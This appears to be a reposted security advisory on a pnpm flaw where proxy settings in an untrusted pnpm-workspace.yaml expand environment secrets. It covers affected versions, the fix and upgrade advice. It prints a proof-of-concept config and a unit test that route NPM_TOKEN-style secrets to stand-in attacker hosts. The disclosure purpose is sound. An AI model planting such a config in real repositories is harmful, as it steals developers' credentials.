Listen to this Post
pnpm expands `${VAR}` environment placeholders in the httpProxy, httpsProxy, and `noProxy` settings read from a project’s pnpm-workspace.yaml. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs `pnpm install` in can route all install traffic through an attacker proxy whose hostname or userinfo embeds — and thereby exfiltrates — an environment secret such as `NPM_TOKEN` or GITHUB_TOKEN.
This bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for registry, pnprServer, registries, and `namedRegistries` when they come from an untrusted project manifest. The sibling `.npmrc` reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them.
An attacker who controls only the contents of a repository’s `pnpm-workspace.yaml` — a public repo, a fork, or a supply-chain pull request — can read many values out of the victim’s process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim’s store, global config, lockfile, node_modules, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs. This turns “I can author a project manifest” into “I read the victim’s environment secrets”.
The vulnerability was introduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values. Affected versions include pnpm 11.x: >= 11.0.0, < 11.11.0, and pnpm 10.x: >= 10.7.0, < 10.34.5. The Rust port (pacquet) and the registry server (pnpr) are not affected. The fix adds httpProxy, httpsProxy, noProxy, proxy, and `noproxy` to the request-destination key set in `@pnpm/config.reader` (src/getOptionsFromRootManifest.ts), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded — matching the existing registry/pnprServer handling and the `.npmrc` reader’s isRequestDestinationValueKey. Regression tests cover the proxy keys.
DailyCVE Form:
Platform: pnpm
Version: 10.7.0-10.34.4, 11.0.0-11.10.0
Vulnerability: Environment Variable Leak
Severity: Medium
Date: 2026-06-25
Prediction: Already Patched (10.34.5/11.11.0)
What Undercode Say:
Analytics:
The vulnerability exists due to insertion of sensitive information into sent data in pnpm proxy settings handling when loading an untrusted `pnpm-workspace.yaml` containing environment placeholders in httpProxy, httpsProxy, or `noProxy` settings. A remote attacker can provide a crafted repository manifest to disclose sensitive information. User interaction is required to run `pnpm install` in the untrusted repository, and the secret is exfiltrated during configuration loading before any lifecycle script runs.
Bash Commands and Code (Educational Purposes!):
pnpm-workspace.yaml in an untrusted repository
packages:
- .
httpsProxy: "http://${NPM_TOKEN}.collector.attacker.example.com:8080"
With `NPM_TOKEN` set in the victim’s environment, `pnpm install` expands the placeholder and routes install traffic through the attacker’s host, whose hostname (and DNS query) carries the token.
Unit Level Test (Educational Purposes!):
process.env.PNPM_TEST_TOKEN = 'secret'
const o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: 'http://${PNPM_TEST_TOKEN}.evil/' })
// Vulnerable: o.httpsProxy === 'http://secret.evil/'
// Patched: o.httpsProxy === undefined
Using `registry` or `pnprServer` in place of `httpsProxy` does not leak on either version — those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface.
Exploit: (Educational Purposes!)
An attacker can create a public repository or a fork with a malicious `pnpm-workspace.yaml` containing a proxy setting with an environment variable placeholder. When a victim clones and runs `pnpm install` in the repository, pnpm expands the placeholder and routes all install traffic through the attacker’s proxy. The hostname or userinfo of the proxy URL embeds the environment secret, which is exfiltrated via DNS query or HTTP request to the attacker-controlled host. The secret is exfiltrated during config loading, before any lifecycle script runs.
Protection:
Upgrade to a patched version: pnpm 10.34.5 or later, or pnpm 11.11.0 or later. Until then, do not run `pnpm` commands in an untrusted repository in an environment that holds secrets, or inspect the repository’s `pnpm-workspace.yaml` for proxy settings before installing.
Impact:
An attacker who controls only the contents of a repository’s `pnpm-workspace.yaml` can read many values out of the victim’s process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim’s store, global config, lockfile, node_modules, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
